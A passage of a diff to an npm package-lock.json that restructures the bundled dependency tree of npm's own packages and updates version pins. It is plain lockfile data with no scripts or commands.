"ip": { - "version": "1.1.5", - "bundled": true - }, - "smart-buffer": { - "version": "1.1.15", - "bundled": true - } - } - } - } - } - } - }, - "minimatch": { - "version": "3.0.4", - "bundled": true, - "requires": { - "brace-expansion": "1.1.11" - }, - "dependencies": { - "brace-expansion": { - "version": "1.1.11", - "bundled": true, - "requires": { - "balanced-match": "1.0.0", - "concat-map": "0.0.1" - }, - "dependencies": { - "balanced-match": { - "version": "1.0.0", - "bundled": true - }, - "concat-map": { - "version": "0.0.1", - "bundled": true - } - } - } - } - }, - "npm-pick-manifest": { - "version": "2.1.0", - "bundled": true, - "requires": { - "npm-package-arg": "6.1.0", - "semver": "5.5.0" - } - }, - "promise-retry": { - "version": "1.1.1", - "bundled": true, - "requires": { - "err-code": "1.1.2", - "retry": "0.10.1" - }, - "dependencies": { - "err-code": { - "version": "1.1.2", - "bundled": true - }, - "retry": { - "version": "0.10.1", - "bundled": true - } - } - }, - "protoduck": { - "version": "5.0.0", - "bundled": true, - "requires": { - "genfun": "4.0.1" - }, - "dependencies": { - "genfun": { - "version": "4.0.1", - "bundled": true - } - } - } + "which": "1.3.1" } }, + "parallel-transform": { + "version": "1.1.0", + "bundled": true, + "requires": { + "cyclist": "0.2.2", + "inherits": "2.0.3", + "readable-stream": "2.3.6" + } + }, + "path-exists": { + "version": "3.0.0", + "bundled": true + }, + "path-is-absolute": { + "version": "1.0.1", + "bundled": true + }, "path-is-inside": { "version": "1.0.2", "bundled": true }, + "path-key": { + "version": "2.0.1", + "bundled": true + }, + "performance-now": { + "version": "0.2.0", + "bundled": true + }, + "pify": { + "version": "3.0.0", + "bundled": true + }, + "prepend-http": { + "version": "1.0.4", + "bundled": true + }, + "process-nextick-args": { + "version": "2.0.0", + "bundled": true + }, "promise-inflight": { "version": "1.0.1", "bundled": true }, + "promise-retry": { + "version": "1.1.1", + "bundled": true, + "requires": { + "err-code": "1.1.2", + "retry": "0.10.1" + }, + "dependencies": { + "retry": { + "version": "0.10.1", + "bundled": true + } + } + }, + "promzard": { + "version": "0.3.0", + "bundled": true, + "requires": { + "read": "1.0.7" + } + }, + "proto-list": { + "version": "1.2.4", + "bundled": true + }, + "protoduck": { + "version": "5.0.0", + "bundled": true, + "requires": { + "genfun": "4.0.1" + } + }, + "prr": { + "version": "1.0.1", + "bundled": true + }, + "pseudomap": { + "version": "1.0.2", + "bundled": true + }, + "pump": { + "version": "3.0.0", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "once": "1.4.0" + } + }, + "pumpify": { + "version": "1.5.1", + "bundled": true, + "requires": { + "duplexify": "3.6.0", + "inherits": "2.0.3", + "pump": "2.0.1" + }, + "dependencies": { + "pump": { + "version": "2.0.1", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "once": "1.4.0" + } + } + } + }, + "punycode": { + "version": "1.4.1", + "bundled": true + }, "qrcode-terminal": { "version": "0.12.0", "bundled": true }, + "qs": { + "version": "6.4.0", + "bundled": true + }, "query-string": { "version": "6.1.0", "bundled": true, "requires": { "decode-uri-component": "0.2.0", "strict-uri-encode": "2.0.0" - }, - "dependencies": { - "decode-uri-component": { - "version": "0.2.0", - "bundled": true - }, - "strict-uri-encode": { - "version": "2.0.0", - "bundled": true - } } }, "qw": { "version": "1.0.1", "bundled": true }, + "rc": { + "version": "1.2.7", + "bundled": true, + "requires": { + "deep-extend": "0.5.1", + "ini": "1.3.5", + "minimist": "1.2.0", + "strip-json-comments": "2.0.1" + }, + "dependencies": { + "minimist": { + "version": "1.2.0", + "bundled": true + } + } + }, "read": { "version": "1.0.7", "bundled": true, "requires": { "mute-stream": "0.0.7" - }, - "dependencies": { - "mute-stream": { - "version": "0.0.7", - "bundled": true - } } }, "read-cmd-shim": { @@ -9073,12 +11824,6 @@ "semver": "5.5.0", "slide": "1.1.6", "util-extend": "1.0.3" - }, - "dependencies": { - "util-extend": { - "version": "1.0.3", - "bundled": true - } } }, "read-package-json": { @@ -9087,19 +11832,9 @@ "requires": { "glob": "7.1.2", "graceful-fs": "4.1.11", - "json-parse-better-errors": "1.0.1", + "json-parse-better-errors": "1.0.2", "normalize-package-data": "2.4.0", "slash": "1.0.0" - }, - "dependencies": { - "json-parse-better-errors": { - "version": "1.0.1", - "bundled": true - }, - "slash": { - "version": "1.0.0", - "bundled": true - } } }, "read-package-tree": { @@ -9124,31 +11859,6 @@ "safe-buffer": "5.1.2", "string_decoder": "1.1.1", "util-deprecate": "1.0.2" - }, - "dependencies": { - "core-util-is": { - "version": "1.0.2", - "bundled": true - }, - "isarray": { - "version": "1.0.0", - "bundled": true - }, - "process-nextick-args": { - "version": "2.0.0", - "bundled": true - }, - "string_decoder": { - "version": "1.1.1", - "bundled": true, - "requires": { - "safe-buffer": "5.1.2" - } - }, - "util-deprecate": { - "version": "1.0.2", - "bundled": true - } } }, "readdir-scoped-modules": { @@ -9161,343 +11871,61 @@ "once": "1.4.0" } }, - "request": { - "version": "2.85.0", + "registry-auth-token": { + "version": "3.3.2", "bundled": true, "requires": { - "aws-sign2": "0.7.0", - "aws4": "1.6.0", + "rc": "1.2.7", + "safe-buffer": "5.1.2" + } + }, + "registry-url": { + "version": "3.1.0", + "bundled": true, + "requires": { + "rc": "1.2.7" + } + }, + "request": { + "version": "2.81.0", + "bundled": true, + "requires": { + "aws-sign2": "0.6.0", + "aws4": "1.7.0", "caseless": "0.12.0", "combined-stream": "1.0.6", "extend": "3.0.1", "forever-agent": "0.6.1", - "form-data": "2.3.2", - "har-validator": "5.0.3", - "hawk": "6.0.2", - "http-signature": "1.2.0", + "form-data": "2.1.4", + "har-validator": "4.2.1", + "hawk": "3.1.3", + "http-signature": "1.1.1", "is-typedarray": "1.0.0", "isstream": "0.1.2", "json-stringify-safe": "5.0.1", "mime-types": "2.1.18", "oauth-sign": "0.8.2", - "performance-now": "2.1.0", - "qs": "6.5.1", + "performance-now": "0.2.0", + "qs": "6.4.0", "safe-buffer": "5.1.2", - "stringstream": "0.0.5", + "stringstream": "0.0.6", "tough-cookie": "2.3.4", "tunnel-agent": "0.6.0", - "uuid": "3.2.1" - }, - "dependencies": { - "aws-sign2": { - "version": "0.7.0", - "bundled": true - }, - "aws4": { - "version": "1.6.0", - "bundled": true - }, - "caseless": { - "version": "0.12.0", - "bundled": true - }, - "combined-stream": { - "version": "1.0.6", - "bundled": true, - "requires": { - "delayed-stream": "1.0.0" - }, - "dependencies": { - "delayed-stream": { - "version": "1.0.0", - "bundled": true - } - } - }, - "extend": { - "version": "3.0.1", - "bundled": true - }, - "forever-agent": { - "version": "0.6.1", - "bundled": true - }, - "form-data": { - "version": "2.3.2", - "bundled": true, - "requires": { - "asynckit": "0.4.0", - "combined-stream": "1.0.6", - "mime-types": "2.1.18" - }, - "dependencies": { - "asynckit": { - "version": "0.4.0", - "bundled": true - } - } - }, - "har-validator": { - "version": "5.0.3", - "bundled": true, - "requires": { - "ajv": "5.5.2", - "har-schema": "2.0.0" - }, - "dependencies": { - "ajv": { - "version": "5.5.2", - "bundled": true, - "requires": { - "co": "4.6.0", - "fast-deep-equal": "1.1.0", - "fast-json-stable-stringify": "2.0.0", - "json-schema-traverse": "0.3.1" - }, - "dependencies": { - "co": { - "version": "4.6.0", - "bundled": true - }, - "fast-deep-equal": { - "version": "1.1.0", - "bundled": true - }, - "fast-json-stable-stringify": { - "version": "2.0.0", - "bundled": true - }, - "json-schema-traverse": { - "version": "0.3.1", - "bundled": true - } - } - }, - "har-schema": { - "version": "2.0.0", - "bundled": true - } - } - }, - "hawk": { - "version": "6.0.2", - "bundled": true, - "requires": { - "boom": "4.3.1", - "cryptiles": "3.1.2", - "hoek": "4.2.1", - "sntp": "2.1.0" - }, - "dependencies": { - "boom": { - "version": "4.3.1", - "bundled": true, - "requires": { - "hoek": "4.2.1" - } - }, - "cryptiles": { - "version": "3.1.2", - "bundled": true, - "requires": { - "boom": "5.2.0" - }, - "dependencies": { - "boom": { - "version": "5.2.0", - "bundled": true, - "requires": { - "hoek": "4.2.1" - } - } - } - }, - "hoek": { - "version": "4.2.1", - "bundled": true - }, - "sntp": { - "version": "2.1.0", - "bundled": true, - "requires": { - "hoek": "4.2.1" - } - } - } - }, - "http-signature": { - "version": "1.2.0", - "bundled": true, - "requires": { - "assert-plus": "1.0.0", - "jsprim": "1.4.1", - "sshpk": "1.14.1" - }, - "dependencies": { - "assert-plus": { - "version": "1.0.0", - "bundled": true - }, - "jsprim": { - "version": "1.4.1", - "bundled": true, - "requires": { - "assert-plus": "1.0.0", - "extsprintf": "1.3.0", - "json-schema": "0.2.3", - "verror": "1.10.0" - }, - "dependencies": { - "extsprintf": { - "version": "1.3.0", - "bundled": true - }, - "json-schema": { - "version": "0.2.3", - "bundled": true - }, - "verror": { - "version": "1.10.0", - "bundled": true, - "requires": { - "assert-plus": "1.0.0", - "core-util-is": "1.0.2", - "extsprintf": "1.3.0" - }, - "dependencies": { - "core-util-is": { - "version": "1.0.2", - "bundled": true - } - } - } - } - }, - "sshpk": { - "version": "1.14.1", - "bundled": true, - "requires": { - "asn1": "0.2.3", - "assert-plus": "1.0.0", - "bcrypt-pbkdf": "1.0.1", - "dashdash": "1.14.1", - "ecc-jsbn": "0.1.1", - "getpass": "0.1.7", - "jsbn": "0.1.1", - "tweetnacl": "0.14.5" - }, - "dependencies": { - "asn1": { - "version": "0.2.3", - "bundled": true - }, - "bcrypt-pbkdf": { - "version": "1.0.1", - "bundled": true, - "optional": true, - "requires": { - "tweetnacl": "0.14.5" - } - }, - "dashdash": { - "version": "1.14.1", - "bundled": true, - "requires": { - "assert-plus": "1.0.0" - } - }, - "ecc-jsbn": { - "version": "0.1.1", - "bundled": true, - "optional": true, - "requires": { - "jsbn": "0.1.1" - } - }, - "getpass": { - "version": "0.1.7", - "bundled": true, - "requires": { - "assert-plus": "1.0.0" - } - }, - "jsbn": { - "version": "0.1.1", - "bundled": true, - "optional": true - }, - "tweetnacl": { - "version": "0.14.5", - "bundled": true, - "optional": true - } - } - } - } - }, - "is-typedarray": { - "version": "1.0.0", - "bundled": true - }, - "isstream": { - "version": "0.1.2", - "bundled": true - }, - "json-stringify-safe": { - "version": "5.0.1", - "bundled": true - }, - "mime-types": { - "version": "2.1.18", - "bundled": true, - "requires": { - "mime-db": "1.33.0" - }, - "dependencies": { - "mime-db": { - "version": "1.33.0", - "bundled": true - } - } - }, - "oauth-sign": { - "version": "0.8.2", - "bundled": true - }, - "performance-now": { - "version": "2.1.0", - "bundled": true - }, - "qs": { - "version": "6.5.1", - "bundled": true - }, - "stringstream": { - "version": "0.0.5", - "bundled": true - }, - "tough-cookie": { - "version": "2.3.4", - "bundled": true, - "requires": { - "punycode": "1.4.1" - }, - "dependencies": { - "punycode": { - "version": "1.4.1", - "bundled": true - } - } - }, - "tunnel-agent": { - "version": "0.6.0", - "bundled": true, - "requires": { - "safe-buffer": "5.1.2" - } - } + "uuid": "3.3.2" } }, + "require-directory": { + "version": "2.1.1", + "bundled": true + }, + "require-main-filename": { + "version": "1.0.1", + "bundled": true + }, + "resolve-from": { + "version": "4.0.0", + "bundled": true + }, "retry": { "version": "0.12.0", "bundled": true @@ -9509,14 +11937,36 @@ "glob": "7.1.2" } }, + "run-queue": { + "version": "1.0.3", + "bundled": true, + "requires": { + "aproba": "1.2.0" + } + }, "safe-buffer": { "version": "5.1.2", "bundled": true }, + "safer-buffer": { + "version": "2.1.2", + "bundled": true + }, "semver": { "version": "5.5.0", "bundled": true }, + "semver-diff": { + "version": "2.1.0", + "bundled": true, + "requires": { + "semver": "5.5.0" + } + }, + "set-blocking": { + "version": "2.0.0", + "bundled": true + }, "sha": { "version": "2.0.1", "bundled": true, @@ -9525,10 +11975,56 @@ "readable-stream": "2.3.6" } }, + "shebang-command": { + "version": "1.2.0", + "bundled": true, + "requires": { + "shebang-regex": "1.0.0" + } + }, + "shebang-regex": { + "version": "1.0.0", + "bundled": true + }, + "signal-exit": { + "version": "3.0.2", + "bundled": true + }, + "slash": { + "version": "1.0.0", + "bundled": true + }, "slide": { "version": "1.1.6", "bundled": true }, + "smart-buffer": { + "version": "4.0.1", + "bundled": true + }, + "sntp": { + "version": "1.0.9", + "bundled": true, + "requires": { + "hoek": "2.16.3" + } + }, + "socks": { + "version": "2.2.0", + "bundled": true, + "requires": { + "ip": "1.1.5", + "smart-buffer": "4.0.1" + } + }, + "socks-proxy-agent": { + "version": "4.0.1", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "socks": "2.2.0" + } + }, "sorted-object": { "version": "2.0.1", "bundled": true @@ -9547,123 +12043,236 @@ "requires": { "inherits": "2.0.3", "readable-stream": "1.1.14" - }, - "dependencies": { - "readable-stream": { - "version": "1.1.14", - "bundled": true, - "requires": { - "core-util-is": "1.0.2", - "inherits": "2.0.3", - "isarray": "0.0.1", - "string_decoder": "0.10.31" - }, - "dependencies": { - "core-util-is": { - "version": "1.0.2", - "bundled": true - }, - "isarray": { - "version": "0.0.1", - "bundled": true - }, - "string_decoder": { - "version": "0.10.31", - "bundled": true - } - } - } } }, - "stream-iterate": { - "version": "1.2.0", + "isarray": { + "version": "0.0.1", + "bundled": true + }, + "readable-stream": { + "version": "1.1.14", "bundled": true, "requires": { - "readable-stream": "2.3.6", - "stream-shift": "1.0.0" - }, - "dependencies": { - "stream-shift": { - "version": "1.0.0", - "bundled": true - } + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "0.0.1", + "string_decoder": "0.10.31" } + }, + "string_decoder": { + "version": "0.10.31", + "bundled": true + } + } + }, + "spdx-correct": { + "version": "3.0.0", + "bundled": true, + "requires": { + "spdx-expression-parse": "3.0.0", + "spdx-license-ids": "3.0.0" + } + }, + "spdx-exceptions": { + "version": "2.1.0", + "bundled": true + }, + "spdx-expression-parse": { + "version": "3.0.0", + "bundled": true, + "requires": { + "spdx-exceptions": "2.1.0", + "spdx-license-ids": "3.0.0" + } + }, + "spdx-license-ids": { + "version": "3.0.0", + "bundled": true + }, + "sshpk": { + "version": "1.14.2", + "bundled": true, + "requires": { + "asn1": "0.2.3", + "assert-plus": "1.0.0", + "bcrypt-pbkdf": "1.0.2", + "dashdash": "1.14.1", + "ecc-jsbn": "0.1.1", + "getpass": "0.1.7", + "jsbn": "0.1.1", + "safer-buffer": "2.1.2", + "tweetnacl": "0.14.5" + }, + "dependencies": { + "assert-plus": { + "version": "1.0.0", + "bundled": true } } }, "ssri": { - "version": "5.3.0", + "version": "6.0.0", + "bundled": true + }, + "stream-each": { + "version": "1.2.2", "bundled": true, "requires": { - "safe-buffer": "5.1.2" + "end-of-stream": "1.4.1", + "stream-shift": "1.0.0" } }, - "strip-ansi": { - "version": "4.0.0", + "stream-iterate": { + "version": "1.2.0", "bundled": true, "requires": { - "ansi-regex": "3.0.0" + "readable-stream": "2.3.6", + "stream-shift": "1.0.0" + } + }, + "stream-shift": { + "version": "1.0.0", + "bundled": true + }, + "strict-uri-encode": { + "version": "2.0.0", + "bundled": true + }, + "string-width": { + "version": "2.1.1", + "bundled": true, + "requires": { + "is-fullwidth-code-point": "2.0.0", + "strip-ansi": "4.0.0" }, "dependencies": { "ansi-regex": { "version": "3.0.0", "bundled": true + }, + "is-fullwidth-code-point": { + "version": "2.0.0", + "bundled": true + }, + "strip-ansi": { + "version": "4.0.0", + "bundled": true, + "requires": { + "ansi-regex": "3.0.0" + } } } }, + "string_decoder": { + "version": "1.1.1", + "bundled": true, + "requires": { + "safe-buffer": "5.1.2" + } + }, + "stringify-package": { + "version": "1.0.0", + "bundled": true + }, + "stringstream": { + "version": "0.0.6", + "bundled": true + }, + "strip-ansi": { + "version": "3.0.1", + "bundled": true, + "requires": { + "ansi-regex": "2.1.1" + } + }, + "strip-eof": { + "version": "1.0.0", + "bundled": true + }, + "strip-json-comments": { + "version": "2.0.1", + "bundled": true + }, + "supports-color": { + "version": "5.4.0", + "bundled": true, + "requires": { + "has-flag": "3.0.0" + } + }, "tar": { - "version": "4.4.2", + "version": "4.4.4", "bundled": true, "requires": { "chownr": "1.0.1", "fs-minipass": "1.2.5", - "minipass": "2.2.4", + "minipass": "2.3.3", "minizlib": "1.1.0", "mkdirp": "0.5.1", "safe-buffer": "5.1.2", "yallist": "3.0.2" }, "dependencies": { - "fs-minipass": { - "version": "1.2.5", - "bundled": true, - "requires": { - "minipass": "2.2.4" - } - }, - "minipass": { - "version": "2.2.4", - "bundled": true, - "requires": { - "safe-buffer": "5.1.2", - "yallist": "3.0.2" - } - }, - "minizlib": { - "version": "1.1.0", - "bundled": true, - "requires": { - "minipass": "2.2.4" - } - }, - "safe-buffer": { - "version": "5.1.2", - "bundled": true - }, "yallist": { "version": "3.0.2", "bundled": true } } }, + "term-size": { + "version": "1.2.0", + "bundled": true, + "requires": { + "execa": "0.7.0" + } + }, "text-table": { "version": "0.2.0", "bundled": true }, + "through": { + "version": "2.3.8", + "bundled": true + }, + "through2": { + "version": "2.0.3", + "bundled": true, + "requires": { + "readable-stream": "2.3.6", + "xtend": "4.0.1" + } + }, + "timed-out": { + "version": "4.0.1", + "bundled": true + }, "tiny-relative-date": { "version": "1.3.0", "bundled": true }, + "tough-cookie": { + "version": "2.3.4", + "bundled": true, + "requires": { + "punycode": "1.4.1" + } + }, + "tunnel-agent": { + "version": "0.6.0", + "bundled": true, + "requires": { + "safe-buffer": "5.1.2" + } + }, + "tweetnacl": { + "version": "0.14.5", + "bundled": true, + "optional": true + }, + "typedarray": { + "version": "0.0.6", + "bundled": true + }, "uid-number": { "version": "0.0.6", "bundled": true @@ -9677,21 +12286,30 @@ "bundled": true, "requires": { "unique-slug": "2.0.0" - }, - "dependencies": { - "unique-slug": { - "version": "2.0.0", - "bundled": true, - "requires": { - "imurmurhash": "0.1.4" - } - } + } + }, + "unique-slug": { + "version": "2.0.0", + "bundled": true, + "requires": { + "imurmurhash": "0.1.4" + } + }, + "unique-string": { + "version": "1.0.0", + "bundled": true, + "requires": { + "crypto-random-string": "1.0.0" } }, "unpipe": { "version": "1.0.0", "bundled": true }, + "unzip-response": { + "version": "2.0.1", + "bundled": true + }, "update-notifier": { "version": "2.5.0", "bundled": true, @@ -9706,468 +12324,25 @@ "latest-version": "3.1.0", "semver-diff": "2.1.0", "xdg-basedir": "3.0.0" - }, - "dependencies": { - "boxen": { - "version": "1.3.0", - "bundled": true, - "requires": { - "ansi-align": "2.0.0", - "camelcase": "4.1.0", - "chalk": "2.4.1", - "cli-boxes": "1.0.0", - "string-width": "2.1.1", - "term-size": "1.2.0", - "widest-line": "2.0.0" - }, - "dependencies": { - "ansi-align": { - "version": "2.0.0", - "bundled": true, - "requires": { - "string-width": "2.1.1" - } - }, - "camelcase": { - "version": "4.1.0", - "bundled": true - }, - "cli-boxes": { - "version": "1.0.0", - "bundled": true - }, - "string-width": { - "version": "2.1.1", - "bundled": true, - "requires": { - "is-fullwidth-code-point": "2.0.0", - "strip-ansi": "4.0.0" - }, - "dependencies": { - "is-fullwidth-code-point": { - "version": "2.0.0", - "bundled": true - } - } - }, - "term-size": { - "version": "1.2.0", - "bundled": true, - "requires": { - "execa": "0.7.0" - }, - "dependencies": { - "execa": { - "version": "0.7.0", - "bundled": true, - "requires": { - "cross-spawn": "5.1.0", - "get-stream": "3.0.0", - "is-stream": "1.1.0", - "npm-run-path": "2.0.2", - "p-finally": "1.0.0", - "signal-exit": "3.0.2", - "strip-eof": "1.0.0" - }, - "dependencies": { - "cross-spawn": { - "version": "5.1.0", - "bundled": true, - "requires": { - "lru-cache": "4.1.2", - "shebang-command": "1.2.0", - "which": "1.3.0" - }, - "dependencies": { - "shebang-command": { - "version": "1.2.0", - "bundled": true, - "requires": { - "shebang-regex": "1.0.0" - }, - "dependencies": { - "shebang-regex": { - "version": "1.0.0", - "bundled": true - } - } - } - } - }, - "get-stream": { - "version": "3.0.0", - "bundled": true - }, - "is-stream": { - "version": "1.1.0", - "bundled": true - }, - "npm-run-path": { - "version": "2.0.2", - "bundled": true, - "requires": { - "path-key": "2.0.1" - }, - "dependencies": { - "path-key": { - "version": "2.0.1", - "bundled": true - } - } - }, - "p-finally": { - "version": "1.0.0", - "bundled": true - }, - "signal-exit": { - "version": "3.0.2", - "bundled": true - }, - "strip-eof": { - "version": "1.0.0", - "bundled": true - } - } - } - } - }, - "widest-line": { - "version": "2.0.0", - "bundled": true, - "requires": { - "string-width": "2.1.1" - } - } - } - }, - "chalk": { - "version": "2.4.1", - "bundled": true, - "requires": { - "ansi-styles": "3.2.1", - "escape-string-regexp": "1.0.5", - "supports-color": "5.4.0" - }, - "dependencies": { - "ansi-styles": { - "version": "3.2.1", - "bundled": true, - "requires": { - "color-convert": "1.9.1" - }, - "dependencies": { - "color-convert": { - "version": "1.9.1", - "bundled": true, - "requires": { - "color-name": "1.1.3" - }, - "dependencies": { - "color-name": { - "version": "1.1.3", - "bundled": true - } - } - } - } - }, - "escape-string-regexp": { - "version": "1.0.5", - "bundled": true - }, - "supports-color": { - "version": "5.4.0", - "bundled": true, - "requires": { - "has-flag": "3.0.0" - }, - "dependencies": { - "has-flag": { - "version": "3.0.0", - "bundled": true - } - } - } - } - }, - "configstore": { - "version": "3.1.2", - "bundled": true, - "requires": { - "dot-prop": "4.2.0", - "graceful-fs": "4.1.11", - "make-dir": "1.2.0", - "unique-string": "1.0.0", - "write-file-atomic": "2.3.0", - "xdg-basedir": "3.0.0" - }, - "dependencies": { - "dot-prop": { - "version": "4.2.0", - "bundled": true, - "requires": { - "is-obj": "1.0.1" - }, - "dependencies": { - "is-obj": { - "version": "1.0.1", - "bundled": true - } - } - }, - "make-dir": { - "version": "1.2.0", - "bundled": true, - "requires": { - "pify": "3.0.0" - }, - "dependencies": { - "pify": { - "version": "3.0.0", - "bundled": true - } - } - }, - "unique-string": { - "version": "1.0.0", - "bundled": true, - "requires": { - "crypto-random-string": "1.0.0" - }, - "dependencies": { - "crypto-random-string": { - "version": "1.0.0", - "bundled": true - } - } - } - } - }, - "import-lazy": { - "version": "2.1.0", - "bundled": true - }, - "is-ci": { - "version": "1.1.0", - "bundled": true, - "requires": { - "ci-info": "1.1.3" - }, - "dependencies": { - "ci-info": { - "version": "1.1.3", - "bundled": true - } - } - }, - "is-installed-globally": { - "version": "0.1.0", - "bundled": true, - "requires": { - "global-dirs": "0.1.1", - "is-path-inside": "1.0.1" - }, - "dependencies": { - "global-dirs": { - "version": "0.1.1", - "bundled": true, - "requires": { - "ini": "1.3.5" - } - }, - "is-path-inside": { - "version": "1.0.1", - "bundled": true, - "requires": { - "path-is-inside": "1.0.2" - } - } - } - }, - "is-npm": { - "version": "1.0.0", - "bundled": true - }, - "latest-version": { - "version": "3.1.0", - "bundled": true, - "requires": { - "package-json": "4.0.1" - }, - "dependencies": { - "package-json": { - "version": "4.0.1", - "bundled": true, - "requires": { - "got": "6.7.1", - "registry-auth-token": "3.3.2", - "registry-url": "3.1.0", - "semver": "5.5.0" - }, - "dependencies": { - "got": { - "version": "6.7.1", - "bundled": true, - "requires": { - "create-error-class": "3.0.2", - "duplexer3": "0.1.4", - "get-stream": "3.0.0", - "is-redirect": "1.0.0", - "is-retry-allowed": "1.1.0", - "is-stream": "1.1.0", - "lowercase-keys": "1.0.1", - "safe-buffer": "5.1.2", - "timed-out": "4.0.1", - "unzip-response": "2.0.1", - "url-parse-lax": "1.0.0" - }, - "dependencies": { - "create-error-class": { - "version": "3.0.2", - "bundled": true, - "requires": { - "capture-stack-trace": "1.0.0" - }, - "dependencies": { - "capture-stack-trace": { - "version": "1.0.0", - "bundled": true - } - } - }, - "duplexer3": { - "version": "0.1.4", - "bundled": true - }, - "get-stream": { - "version": "3.0.0", - "bundled": true - }, - "is-redirect": { - "version": "1.0.0", - "bundled": true - }, - "is-retry-allowed": { - "version": "1.1.0", - "bundled": true - }, - "is-stream": { - "version": "1.1.0", - "bundled": true - }, - "lowercase-keys": { - "version": "1.0.1", - "bundled": true - }, - "timed-out": { - "version": "4.0.1", - "bundled": true - }, - "unzip-response": { - "version": "2.0.1", - "bundled": true - }, - "url-parse-lax": { - "version": "1.0.0", - "bundled": true, - "requires": { - "prepend-http": "1.0.4" - }, - "dependencies": { - "prepend-http": { - "version": "1.0.4", - "bundled": true - } - } - } - } - }, - "registry-auth-token": { - "version": "3.3.2", - "bundled": true, - "requires": { - "rc": "1.2.7", - "safe-buffer": "5.1.2" - }, - "dependencies": { - "rc": { - "version": "1.2.7", - "bundled": true, - "requires": { - "deep-extend": "0.5.1", - "ini": "1.3.5", - "minimist": "1.2.0", - "strip-json-comments": "2.0.1" - }, - "dependencies": { - "deep-extend": { - "version": "0.5.1", - "bundled": true - }, - "minimist": { - "version": "1.2.0", - "bundled": true - }, - "strip-json-comments": { - "version": "2.0.1", - "bundled": true - } - } - } - } - }, - "registry-url": { - "version": "3.1.0", - "bundled": true, - "requires": { - "rc": "1.2.7" - }, - "dependencies": { - "rc": { - "version": "1.2.7", - "bundled": true, - "requires": { - "deep-extend": "0.5.1", - "ini": "1.3.5", - "minimist": "1.2.0", - "strip-json-comments": "2.0.1" - }, - "dependencies": { - "deep-extend": { - "version": "0.5.1", - "bundled": true - }, - "minimist": { - "version": "1.2.0", - "bundled": true - }, - "strip-json-comments": { - "version": "2.0.1", - "bundled": true - } - } - } - } - } - } - } - } - }, - "semver-diff": { - "version": "2.1.0", - "bundled": true, - "requires": { - "semver": "5.5.0" - } - }, - "xdg-basedir": { - "version": "3.0.0", - "bundled": true - } } }, + "url-parse-lax": { + "version": "1.0.0", + "bundled": true, + "requires": { + "prepend-http": "1.0.4" + } + }, + "util-deprecate": { + "version": "1.0.2", + "bundled": true + }, + "util-extend": { + "version": "1.0.3", + "bundled": true + }, "uuid": { - "version": "3.2.1", + "version": "3.3.2", "bundled": true }, "validate-npm-package-license": { @@ -10176,40 +12351,6 @@ "requires": { "spdx-correct": "3.0.0", "spdx-expression-parse": "3.0.0" - }, - "dependencies": { - "spdx-correct": { - "version": "3.0.0", - "bundled": true, - "requires": { - "spdx-expression-parse": "3.0.0", - "spdx-license-ids": "3.0.0" - }, - "dependencies": { - "spdx-license-ids": { - "version": "3.0.0", - "bundled": true - } - } - }, - "spdx-expression-parse": { - "version": "3.0.0", - "bundled": true, - "requires": { - "spdx-exceptions": "2.1.0", - "spdx-license-ids": "3.0.0" - }, - "dependencies": { - "spdx-exceptions": { - "version": "2.1.0", - "bundled": true - }, - "spdx-license-ids": { - "version": "3.0.0", - "bundled": true - } - } - } } }, "validate-npm-package-name": { @@ -10217,45 +12358,88 @@ "bundled": true, "requires": { "builtins": "1.0.3" + } + }, + "verror": { + "version": "1.10.0", + "bundled": true, + "requires": { + "assert-plus": "1.0.0", + "core-util-is": "1.0.2", + "extsprintf": "1.3.0" }, "dependencies": { - "builtins": { - "version": "1.0.3", + "assert-plus": { + "version": "1.0.0", "bundled": true } } }, + "wcwidth": { + "version": "1.0.1", + "bundled": true, + "requires": { + "defaults": "1.0.3" + } + }, "which": { - "version": "1.3.0", + "version": "1.3.1", "bundled": true, "requires": { "isexe": "2.0.0" + } + }, + "which-module": { + "version": "2.0.0", + "bundled": true + }, + "wide-align": { + "version": "1.1.2", + "bundled": true, + "requires": { + "string-width": "1.0.2" }, "dependencies": { - "isexe": { - "version": "2.0.0", - "bundled": true + "string-width": { + "version": "1.0.2", + "bundled": true, + "requires": { + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" + } } } }, + "widest-line": { + "version": "2.0.0", + "bundled": true, + "requires": { + "string-width": "2.1.1" + } + }, "worker-farm": { "version": "1.6.0", "bundled": true, "requires": { "errno": "0.1.7" + } + }, + "wrap-ansi": { + "version": "2.1.0", + "bundled": true, + "requires": { + "string-width": "1.0.2", + "strip-ansi": "3.0.1" }, "dependencies": { - "errno": { - "version": "0.1.7", + "string-width": { + "version": "1.0.2", "bundled": true, "requires": { - "prr": "1.0.1" - }, - "dependencies": { - "prr": { - "version": "1.0.1", - "bundled": true - } + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" } } } @@ -10271,28 +12455,81 @@ "graceful-fs": "4.1.11", "imurmurhash": "0.1.4", "signal-exit": "3.0.2" + } + }, + "xdg-basedir": { + "version": "3.0.0", + "bundled": true + }, + "xtend": { + "version": "4.0.1", + "bundled": true + }, + "y18n": { + "version": "4.0.0", + "bundled": true + }, + "yallist": { + "version": "2.1.2", + "bundled": true + }, + "yargs": { + "version": "11.0.0", + "bundled": true, + "requires": { + "cliui": "4.1.0", + "decamelize": "1.2.0", + "find-up": "2.1.0", + "get-caller-file": "1.0.2", + "os-locale": "2.1.0", + "require-directory": "2.1.1", + "require-main-filename": "1.0.1", + "set-blocking": "2.0.0", + "string-width": "2.1.1", + "which-module": "2.0.0", + "y18n": "3.2.1", + "yargs-parser": "9.0.2" }, "dependencies": { - "signal-exit": { - "version": "3.0.2", + "y18n": { + "version": "3.2.1", "bundled": true } } + }, + "yargs-parser": { + "version": "9.0.2", + "bundled": true, + "requires": { + "camelcase": "4.1.0" + } } } }, + "npm-run-path": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-2.0.2.tgz", + "integrity": "sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=", + "dev": true, + "requires": { + "path-key": "2.0.1" + } + }, + "nth-check": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-1.0.1.tgz", + "integrity": "sha1-mSms32KPwsQQmN6rgqxYDPFJquQ=", + "dev": true, + "requires": { + "boolbase": "1.0.0" + } + }, "null-loader": { "version": "0.1.1", "resolved": "https://registry.npmjs.org/null-loader/-/null-loader-0.1.1.tgz", "integrity": 